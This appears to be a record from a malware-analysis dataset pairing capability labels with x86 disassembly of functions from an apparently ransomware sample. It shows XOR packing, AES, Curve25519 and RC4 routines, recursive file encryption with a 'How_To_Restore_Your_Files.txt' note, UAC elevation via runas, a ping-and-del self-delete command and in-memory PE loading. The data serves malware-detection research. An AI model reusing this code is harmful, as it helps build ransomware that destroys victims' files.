joyce8/EMBER2024-capa huggingface dataset:
Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
je 0x432072
nop
nop
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x4b5a3eb7
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x432060
nop
nop
nop
nop
mov eax, section..text_1
nop
nop
nop
cmp eax, 0
nop
je 0x4320d2
nop
nop
nop
mov ebx, 0x42f314
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x22fe622b
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x402a00
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41f798
push 0x417a50
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 0
movaps xmm0, xmmword [0x41f630]
aesenc xmm0, xmmword [0x41f620]
movaps xmmword [ebp - 0x40], xmm0
movd eax, xmm0
cmp eax, 0x485061fa
jne 0x402a9d
cmp dword [ebp - 0x3c], 0x2f4654b9
jne 0x402a9d
cmp dword [ebp - 0x38], 0xe1256f99
jne 0x402a9d
cmp dword [ebp - 0x34], 0xc8b51f1f
jne 0x402a9d
mov dword [ebp - 0x24], 1
jmp 0x402a9d
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret

Function at 0x4060c0
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
movups xmm0, xmmword [edx]
push esi
movups xmm1, xmmword [edx + 0x10]
mov edx, dword [ebp + 8]
mov esi, ecx
movd eax, xmm0
lea ecx, [ebp - 0xcc]
movups xmmword [ebp - 0x14], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x24], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [ebp - 5], al
call fcn.00403860
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x24]
push eax
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x1b4]
call fcn.004049e0
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x164]
call fcn.00404ca0
lea eax, [ebp - 0x164]
push eax
lea edx, [ebp - 0x1b4]
lea ecx, [ebp - 0x114]
call fcn.00402e20
add esp, 0xc
lea ecx, [ebp - 0x114]
call fcn.004032f0
lea ecx, [ebp - 0x114]
call fcn.004033d0
movups xmm0, xmmword [ebp - 0x114]
lea edx, [ebp - 0x7c]
mov ecx, esi
movups xmmword [ebp - 0x7c], xmm0
movups xmm0, xmmword [ebp - 0x104]
movups xmmword [ebp - 0x6c], xmm0
movups xmm0, xmmword [ebp - 0xf4]
movups xmmword [ebp - 0x5c], xmm0
movups xmm0, xmmword [ebp - 0xe4]
movups xmmword [ebp - 0x4c], xmm0
movups xmm0, xmmword [ebp - 0xd4]
movups xmmword [ebp - 0x3c], xmm0
call fcn.00403b60
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4064b0
Capabilities:
Enumerate files on windows
Enumerate files recursively
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
push ebx
push esi
push edi
push 0x10000
mov ebx, ecx
push 8
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x406631
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x41f0b0
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x260]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x406621
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
nop dword [eax]
nop word [eax + eax]
xor esi, esi
push dword [esi + 0x41ee48]
lea eax, [ebp - 0x234]
push eax
call ebx
test eax, eax
je 0x4065a6
add esi, 4
cmp esi, 0x54
jb 0x406522
mov esi, dword [ebp - 4]
lea eax, [ebp - 0x234]
push eax
push esi
push str._ls_ls
push 0x8000
push edi
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x14
test byte [ebp - 0x260], 0x10
je 0x40656e
mov ecx, edi
call fcn.004064b0
jmp 0x4065a9
push str.How_To_Restore_Your_Files.txt
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4065a9
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x41
je 0x4065a9
mov ecx, edi
call fcn.00406230
jmp 0x4065a9
mov esi, dword [ebp - 4]
lea eax, [ebp - 0x260]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x406520
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.How_To_Restore_Your_Files.txt
push esi
push str._ls_ls
push 0x8000
push edi
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x14
push 0
push 0
push 1
push 0
push 1
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x406621
mov ecx, dword [0x422348]
lea eax, [ebp - 0xc]
push 0
push eax
push dword [ecx + 0xc]
push dword [ecx + 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407020
Capabilities:
Create process on windows
Get token membership
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
push esi
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [ebp - 8]
mov dword [ebp - 0x10], 0
push eax
mov dword [ebp - 8], 0
mov word [ebp - 4], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x40707b
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x407089
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [ebp - 0x10], 0
jne 0x407118
push 0x104
lea eax, [ebp - 0x26c]
push eax
push str.ComSpec
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x407118
push str._c_ECHO__You_must_restart_the_program_to_resolve_a_critical_error___start_____
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x104
lea eax, [ebp - 0x118]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x407118
push 0x41f414
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
push 0
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x26c]
push eax
push str.runas
push 0
call esi
cmp eax, 0x21
jl 0x4070f0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x407170
Capabilities:
Create process on windows
Query environment variable
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
call fcn.00407120
push 0x104
lea eax, [ebp - 0x230]
push eax
push str.ComSpec
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x4071f1
push str._c_PING__n_5_127.0.0.1___NUL__del__
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x104
lea eax, [ebp - 0x107]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x4071f1
push 0x41f414
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0
lea eax, [ebp - 0x12c]
push eax
lea eax, [ebp - 0x230]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x437162
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x493e28]
jne 0x43716c
repz ret
jmp fcn.004380fe

Function at 0x437d23
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004371e3
and dword [ebp - 4], 0
cmp dword [0x495c84], 0
mov ebx, eax
jne 0x437dd4
push 0x43d94c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x437e85
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x43d940
push edi
call esi
test eax, eax
je 0x437e85
push eax
call fcn.00437171
mov dword [esp], 0x43d930
push edi
mov dword [0x495c84], eax
call esi
push eax
call fcn.00437171
mov dword [esp], 0x43d91c
push edi
mov dword [0x495c88], eax
call esi
push eax
call fcn.00437171
mov dword [esp], 0x43d900
push edi
mov dword [0x495c8c], eax
call esi
push eax
call fcn.00437171
pop ecx
mov dword [0x495c94], eax
test eax, eax
je 0x437dd4
push 0x43d8e8
push edi
call esi
push eax
call fcn.00437171
pop ecx
mov dword [0x495c90], eax
mov eax, dword [0x495c90]
cmp eax, ebx
je 0x437e2c
cmp dword [0x495c94], ebx
je 0x437e2c
push eax
call fcn.004371ec
push dword [0x495c94]
mov esi, eax
call fcn.004371ec
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x437e2c
test edi, edi
je 0x437e2c
call esi
test eax, eax
je 0x437e23
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x437e23
test byte [ebp - 0xc], 1
jne 0x437e2c
or dword [ebp + 0x10], 0x200000
jmp 0x437e65
mov eax, dword [0x495c88]
cmp eax, ebx
je 0x437e65
push eax
call fcn.004371ec
pop ecx
test eax, eax
je 0x437e65
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x437e65
mov eax, dword [0x495c8c]
cmp eax, ebx
je 0x437e65
push eax
call fcn.004371ec
pop ecx
test eax, eax
je 0x437e65
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x495c84]
call fcn.004371ec
pop ecx
test eax, eax
je 0x437e85
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x437e87
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x43b6af
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x28
mov dword [ebp - 8], 0
mov eax, dword [0x493d34]
add eax, 0xfffff1ba
mov dword [0x493d38], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
xor ecx, ecx
mov dword [0x493d38], 0x1303
mov edx, dword [ebp - 8]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov esi, dword [0x493d34]
add esi, 0xffffefdf
mov dword [0x493d34], esi
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], ecx
jmp 0x43b78c
mov dword [0x493d34], 0x240
mov eax, 1
mov ecx, 0x2704
mov edx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x18]
cmp word [edx + esi*2 - 0xe], 0x6c
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], ecx
je 0x43b820
jmp 0x43b811
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x43b70a
jmp 0x43b811
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x43b73c
jmp 0x43b811
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff5
mov dword [0x493d34], 0x4ef
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x24]
cmp word [eax + ecx*2], 0x61
je 0x43b7f4
jmp 0x43b811
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], edx
je 0x43b7b9
mov eax, dword [ebp - 0x28]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x2c], eax
jl 0x43b78c
mov eax, dword [ebp - 0x2c]
mov dword [0x493d34], 0xffffffa8
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x18], eax
jne 0x43b811
mov dword [0x493d34], 0x514
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x43b764
jmp 0x43b811
mov dword [0x493d38], 0x1baf
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x43b750
xor eax, eax
mov ecx, 0x1c93
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], ecx
jmp 0x43b820
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [0x493d34], eax
mov eax, ecx
add esp, 0x28
pop esi
pop ebp
ret
Function at 0x43b8c7
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x4c
mov eax, dword [ebp + 8]
mov dword [0x493d34], 0xb7b
mov dword [ebp - 0x10], eax
call fcn.0043b57b
xor ecx, ecx
mov edx, eax
mov dword [0x493d38], 0xbd3
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov dword [0x493d34], 0xc93
cmp dword [eax + esi], 0x4550
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], ecx
jne 0x43b92e
mov eax, dword [ebp - 0x14]
mov dword [0x493d34], 0x84e
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
jmp 0x43b92e
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov dword [0x493d38], 0x51e
mov eax, dword [eax + 0x78]
mov edx, dword [ebp - 0x18]
add edx, dword [edx + eax + 0x20]
mov dword [0x493d34], 0x93e
mov esi, dword [ebp - 0x18]
mov edi, dword [esi + eax + 0x18]
cmp edi, 0
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x30], ecx
je 0x43ba6e
mov eax, 0x93e
xor ecx, ecx
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x28]
add edx, dword [edx + esi + 0x24]
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x34]
xor esi, esi
add ecx, 0x1eec
mov edi, dword [ebp - 0x2c]
mov ebx, dword [edi + eax*4]
mov dword [0x493d34], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x50], esi
mov eax, dword [ebp - 0x50]
mov ecx, eax
mov edx, dword [ebp - 0x44]
add ecx, edx
mov esi, dword [ebp - 0x18]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x55], bh
mov byte [ebp - 0x56], cl
je 0x43ba08
mov al, byte [ebp - 0x55]
cmp al, 0
setne cl
mov edx, dword [ebp - 0x54]
add edx, 1
mov ah, byte [ebp - 0x56]
and ah, cl
cmp edx, 0x20
setb cl
and ah, cl
test ah, 1
mov dword [ebp - 0x50], edx
jne 0x43b9b6
mov al, byte [ebp - 0x56]
test al, 1
jne 0x43ba41
jmp 0x43ba11
xor eax, eax
mov ecx, dword [ebp - 0x40]
add ecx, 1
mov edx, dword [ebp - 0x48]
add edx, 2
mov esi, dword [ebp - 0x24]
cmp ecx, esi
mov edi, dword [ebp - 0x4c]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], eax
jb 0x43b98a
jmp 0x43ba6e
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
mov dword [0x493d38], 0xcb2
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x28]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x18]
add edi, dword [edx + ecx*4]
mov dword [0x493d34], 0x1bbb
mov dword [ebp - 0x30], edi
mov eax, dword [ebp - 0x30]
add esp, 0x4c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43ba79
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [0x493d40], 0
mov byte [0x493d44], 0
mov dword [0x493d38], 0x2603
mov dword [0x493d34], 0x1304
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
xor eax, eax
mov ecx, 0x2603
mov dword [0x493d3c], 0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], ecx
jmp 0x43baed
mov dword [0x493d34], 0x2b3
xor eax, eax
mov dword [0x493d3c], 0
mov dword [ebp - 0x24], eax
jmp 0x43bb3a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
add eax, 0xffffee10
mov dword [0x493d34], eax
mov eax, ecx
mov dl, al
mov eax, dword [ebp - 0x18]
mov byte [eax + ecx], dl
mov ecx, dword [0x493d3c]
add ecx, 1
mov dword [0x493d3c], ecx
cmp ecx, 0x100
mov dword [ebp - 0x28], ecx
jge 0x43bad2
mov eax, dword [0x493d38]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], ecx
jmp 0x43baed
mov eax, dword [ebp - 0x24]
mov ecx, 0x100
mov dword [ebp - 0x30], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x493d48], 0
mov dword [0x493d34], 0x109f
mov edi, dword [0x493d40]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x30]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x493d48], esi
mov eax, esi
cdq
idiv ecx
mov dword [0x493d40], edx
mov dword [0x493d38], 0x369e
mov ecx, dword [ebp - 0x30]
mov cl, byte [ebx + ecx]
mov byte [0x493d44], cl
mov dword [0x493d38], 0x18fb
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x30]
mov byte [ebx + edx], cl
mov cl, byte [0x493d44]
mov esi, dword [0x493d40]
mov byte [ebx + esi], cl
mov dword [0x493d34], 0x75a
mov esi, dword [0x493d3c]
add esi, 1
mov dword [0x493d3c], esi
cmp esi, 0x100
mov dword [ebp - 0x24], esi
jl 0x43bb3a
mov dword [0x493d38], 0x1727
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43bd56
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x34
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x493d38], 0x240d
mov dword [0x493d3c], 0
mov dword [0x493d40], 0
mov dword [0x493d4c], 0
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x43bdd0
jmp 0x43bde3
mov eax, dword [0x493d3c]
mov ecx, dword [0x493d40]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x28], ecx
jmp 0x43bde3
mov eax, dword [0x493d34]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
jmp 0x43bede
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add ecx, 1
mov edi, edx
add edi, 1
mov dword [0x493d34], 0x237b
mov dword [ebp - 0x38], eax
mov eax, ecx
mov dword [ebp - 0x3c], edx
cdq
idiv esi
mov dword [0x493d3c], edx
mov dword [0x493d38], 0x23ab
mov ecx, dword [ebp - 0x20]
movzx ebx, byte [ecx + edx]
mov ecx, dword [ebp - 0x38]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x40], edx
cdq
idiv esi
mov dword [0x493d40], edx
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x40]
mov cl, byte [ecx + esi]
mov byte [0x493d44], cl
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x493d44]
mov edx, dword [0x493d40]
mov byte [ebx + edx], cl
mov dword [0x493d34], 0xefa
mov edx, dword [0x493d3c]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x493d40]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x493d4c], ecx
mov dword [0x493d34], 0xb41
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x3c]
mov ch, byte [edx + esi]
mov dword [0x493d34], 0x1784
xor ch, cl
mov edx, dword [ebp - 0x1c]
mov byte [edx + esi], ch
mov edx, dword [0x493d34]
mov esi, edx
add esi, 0xffffdba4
mov dword [0x493d38], esi
mov esi, dword [ebp - 0x10]
cmp edi, esi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x34], edx
jne 0x43bdb7
mov eax, dword [ebp - 0x34]
add eax, 0xffffff11
mov dword [0x493d38], eax
add esp, 0x34
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43c54e
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x28]
lea ecx, [esp + 0x38]
mov dword [0x493d34], 0x19b8
mov dword [esp], eax
mov dword [esp + 0x24], ecx
call fcn.0043b044
mov ecx, dword [0x493d34]
mov edx, dword [esp + 0x28]
mov dword [esp + 0x48], edx
add ecx, 0x6d6
mov dword [0x493d34], ecx
mov dword [esp + 0x7c], 0x15f200
mov ecx, dword [0x493d20]
mov dword [esp + 0x80], ecx
mov dword [esp + 0x20], eax
lea eax, [0x43c3cc]
mov ecx, dword [0x493d24]
mov dword [esp + 0x40], ecx
mov ecx, dword [0x493d28]
mov dword [esp + 0x68], ecx
mov ecx, dword [0x493d2c]
mov dword [esp + 0x50], ecx
mov ecx, dword [0x493d30]
mov dword [esp + 0x58], ecx
mov dword [0x493d38], 0x1f27
mov dword [esp + 0x1c], eax
jmp 0x43c607
mov eax, dword [esp + 0x18]
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x10], ecx
je 0x43c632
jmp 0x43c616
mov eax, dword [esp + 0x1c]
cmp word [eax], 0x5a4d
mov dword [esp + 0x14], eax
je 0x43c5f1
mov eax, dword [esp + 0x14]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x1c], eax
jmp 0x43c607
mov eax, dword [esp + 0x14]
mov dword [esp + 0x78], eax
mov dword [0x493d38], 0xbd3
mov ecx, dword [esp + 0x10]
add ecx, 0x50
add eax, ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
mov ecx, dword [eax]
mov dword [esp + 0x74], ecx
mov dword [0x493d34], 0x14c3
call fcn.0043b6af
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x18], ecx
jne 0x43c5e9
lea eax, [esp + 0x38]
mov dword [0x493d34], 0x4a1
mov ecx, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.0043c7fd
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov ecx, dword [0x493d34]
add ecx, 0xfffff538
mov dword [0x493d34], ecx
mov dword [esp + 0x18], eax
jmp 0x43c5e9
Function at 0x43c7fd
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, dword [0x493d34]
mov esi, edx
add esi, 0xcf8
mov dword [0x493d38], esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
lea eax, [0x43d1da]
mov ecx, 0xe
lea edx, [ebp - 0x24]
mov esi, dword [ebp - 0x30]
add esi, 0x2485
mov dword [0x493d34], esi
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xe
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], ecx
call fcn.0043c6c9
mov dword [0x493d38], 0x4e3
call fcn.0043c944
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.0043bfab
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
je 0x43c93b
mov eax, dword [ebp - 0x3c]
mov dword [0x493d34], 0xce
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x493d34], 0x1057
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x44], eax
call fcn.0043b383
xor eax, eax
mov ecx, dword [ebp - 0x44]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x54], ecx
mov ecx, dword [ebp - 0x44]
mov dword [edx + 0x28], ecx
mov dword [0x493d38], 0x1683
mov dword [0x493d34], 0xa34
cmp ecx, 0
mov dword [ebp - 0x40], eax
je 0x43c93b
mov eax, dword [ebp - 0x44]
add eax, 0x1060
mov dword [0x493d34], 0x1553
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
add esp, 0x50
pop esi
pop ebp
ret